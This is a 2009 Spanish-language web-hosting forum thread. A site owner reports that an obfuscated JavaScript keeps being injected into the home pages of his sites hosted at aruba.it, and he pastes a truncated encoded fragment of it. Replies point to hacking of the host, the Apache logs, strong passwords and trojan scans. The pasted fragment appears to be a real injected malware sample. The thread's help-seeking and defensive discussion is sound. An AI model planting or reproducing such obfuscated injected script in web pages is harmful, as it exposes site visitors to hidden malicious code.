Foros del Web » Administración de Sistemas » Software para Servers »

Un script se instala en mis webs automaticamente

Estas en el tema de Un script se instala en mis webs automaticamente en el foro de Software para Servers en Foros del Web. Quisiera pedir ayuda con un problema que vengo experimentando desde hace un mes. Tengo varias webs en diferentes dominios y servidores, desde hace un tiempo ...
  #1 (permalink)  
Antiguo 22/07/2009, 11:21
 
Fecha de Ingreso: julio-2009
Mensajes: 1
Antigüedad: 15 años, 3 meses
Puntos: 0
Un script se instala en mis webs automaticamente

Quisiera pedir ayuda con un problema que vengo experimentando desde hace un mes.
Tengo varias webs en diferentes dominios y servidores, desde hace un tiempo dejan de funcionar las paginas de inicio (index o default) en ellas se instala un script de forma automatica, he estado mirando por la red y he encontrado que le pasa a mucha mas gente

Un trozo del script es este:

Código:
<script language="javascript">$="Z64cZ3dZ220;0!9+0yv08tqduZ3ewud]Z257F~dx89;!0,0!Z25209kcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3dZ252070;08tqduZ3ewud]Z257F~dx89;!90+mu|cukcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3d70;08tqduZ3ewud]Z257F~dx89;!9+myv08tqduZ3ewudTqdu890,0!Z25209kcxyvdY~tuh0-cxyvdY~tuh0;07Z3dZ252070;0tqduZ3ewudTqdu89+mu|cukcxyvdY~tuh0-0cxyvdY~tuh0;07Z3d70;0tqduZ3ewudTqdu89+mcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKcxyvdY~tuhMKZ2520MZ3eaeubiZ3esxqbSZ257FtuQd8!9+ve~sdyZ257F~0SZ22;cdZ3dZ229;sZ2574Z253dst+StZ2572ingZ252efroZ256dChaZ2572Z2543oZ2564Z2565((Z2574mp.Z22;deZ3dZ22+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+4-4Z3ebu`|qsu8tZ3ciuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+Z22;czZ3dZ22Z2566Z2575ncZ2574iZ256fn cZ257a(cZ257a)Z257bretZ2575Z2572nZ2520ca+Z2563bZ252bccZ252bcd+Z2563e+Z2563zZ253b};Z22;opZ3dZ22Z2524Z253dZ2522dw(dZ2563sZ2528cu,Z25314)Z2529;Z2522;Z22;caZ3dZ22Z2566unZ2563tZ2569onZ2520dcsZ2528dsZ252ceZ2573)Z257bdZ2573Z253dunescZ2561Z257Z22;ddZ3dZ22q|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+mfqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0}qwys^e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25MZ22;stZ3dZ22Z2573Z2574Z253dZ2522$Z253dstZ253bZ2564Z2563sZ2528Z2564Z2561+Z2564Z2562Z252bZ2564cZ252bZ2564dZ252bdZ2565,Z2531Z2530Z2529Z253bdZ2577Z2528Z2573tZ2529;Z2573Z2574Z253d$;Z2522Z253bZ22;cuZ3dZ22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4Z3czub}su`Z7bf:wZ7bZ7bZ257F}qQzuvxqpZ3dobuf4dZ7bdKazpqf4)4zaxxZ2fbuf4dZ7bdKwZ7bZ7bZ257F}qKzuyq4)46upbyuZ257FqfKZ257FZ7byud6Z2fbuf4dZ7bdK`}yqZ7ba`4)4#Z2526$Z2frazw`}Z7bz4dZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dobuf4}gKqzuvxqp4)4ruxgqZ2f}r4Z3c5c}zpZ7bc:Z7bdqfu42245zub}su`Z7bf:wZ7bZ7bZ257F}qQzuvxqpZ3dfq`afz4}gKqzuvxqpZ2f}r4Z3c`mdqZ7br4pZ7bwayqz`:wZ7bZ7bZ257F}q4))43g`f}zs3Z3d}r4Z3cpZ7bwayqz`:wZ7bZ7bZ257F}q:xqzs`|4))4$Z3dopZ7bwayqz`:wZ7bZ7bZ257F}q4)46`qg`6Z2f}gKqzuvxqp4)4pZ7bwayqz`:wZ7bZ7bZ257F}q4))43`qg`3Z2fpZ7bwayqz`:wZ7bZ7bZ257F}q4)433Z2fiqxgqo}gKqzuvxqp4)4`faqZ2fifq`afz4}gKqzuvxqpZ2firazw`}Z7bz4dZ7bdKsq`WZ7bZ7bZ257F}qZ3czuyqZ3dobuf4wZ7bZ7bZ257F}q4)46464?4pZ7bwayqz`:wZ7bZ7bZ257F}qZ2fbuf4gqufw|4)46464?4zuyq4?46)6Z2fbuf4gq`G`f4)4zaxxZ2fbuf4Z7brrgq`4)4$Z2fbuf4qzp4)4$Z2f}r4Z3cwZ7bZ7bZ257F}q:xqzs`|4*4$Z3doZ7brrgq`4)4wZ7bZ7bZ257F}q:}zpql[rZ3cgqufw|Z3dZ2f}r4Z3cZ7brrgq`45)49Z25Z3doZ7brrgq`4?)4gqufw|:xqzs`|Z2fqzp4)4wZ7bZ7bZ257F}q:}zpql[rZ3c6Z2f684Z7brrgq`Z3dZ2f}r4Z3cqzp4))49Z25Z3doqzp4)4wZ7bZ7bZ257F}q:xqzs`|Z2figq`G`f4)4azqgwudqZ3cwZ7bZ7bZ257F}q:gavg`f}zsZ3cZ7brrgq`84qzpZ3dZ3dZ2fiifq`afzZ3cgq`G`fZ3dZ2firazw`}Z7bz4dZ7bdKgq`WZ7bZ7bZ257F}
el codigo continua, es mucho mas largo pero el foro no me permite pegarlo entero

Tengo que decir que las cinco webs que han sido afectadas estan en aruba.it, pero he visto otras webs de otros proveedores (Arsys) con el mismo problema.

Si poneis en google esto +mcxyvdY~tuh0-0gy salen un monton de webs afectadas, sobre todo en el cache de google

¿Alguien sabe que puede ser?

Última edición por josepe69; 22/07/2009 a las 11:31
  #2 (permalink)  
Antiguo 29/07/2009, 13:31
 
Fecha de Ingreso: febrero-2006
Mensajes: 87
Antigüedad: 18 años, 8 meses
Puntos: 0
Respuesta: Un script se instala en mis webs automaticamente

toda una incognita...
si viniera acompaniado de algun otro codigo o archivo, podria ser un injection malicioso, pero no lo sabria..

Postea si encontras la respuesta!
  #3 (permalink)  
Antiguo 02/08/2009, 17:12
 
Fecha de Ingreso: abril-2006
Mensajes: 1.128
Antigüedad: 18 años, 6 meses
Puntos: 33
Respuesta: Un script se instala en mis webs automaticamente

josepe69:

En este sitio puedes ver como ha sido hackeado aruba.it
http://www.zone-h.org/mirror/id/2931382
Oberva esto ->
aqui hay algo malo con este sitio
http://linuxtest.aruba.it/
Mira esto otro ->
http://www.zone-h.org/mirror/id/1444992

Ahora:
Debes identificar la IP que ha hecho eso y via los logs del Apache
determinar en que momento exacto ocurrio el incidente.
Este hacker esta jugando con ese sitio, hace lo que quiere
y aparentemente lo puede hasta destruir.
Ellos generalmente entran via algun script que esta mal diseñado.

Saludos
Franco
  #4 (permalink)  
Antiguo 03/08/2009, 23:08
Avatar de infracom2005  
Fecha de Ingreso: junio-2006
Mensajes: 751
Antigüedad: 18 años, 4 meses
Puntos: 13
Respuesta: Un script se instala en mis webs automaticamente

Utiliza siempre passwords seguros. Analizá tu pc, posiblemente tengas algun troyano.
__________________
--
Rack-Host, Planes Resellers, VPS Full Managed
http://www.rack-host.com.ar
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 15:15.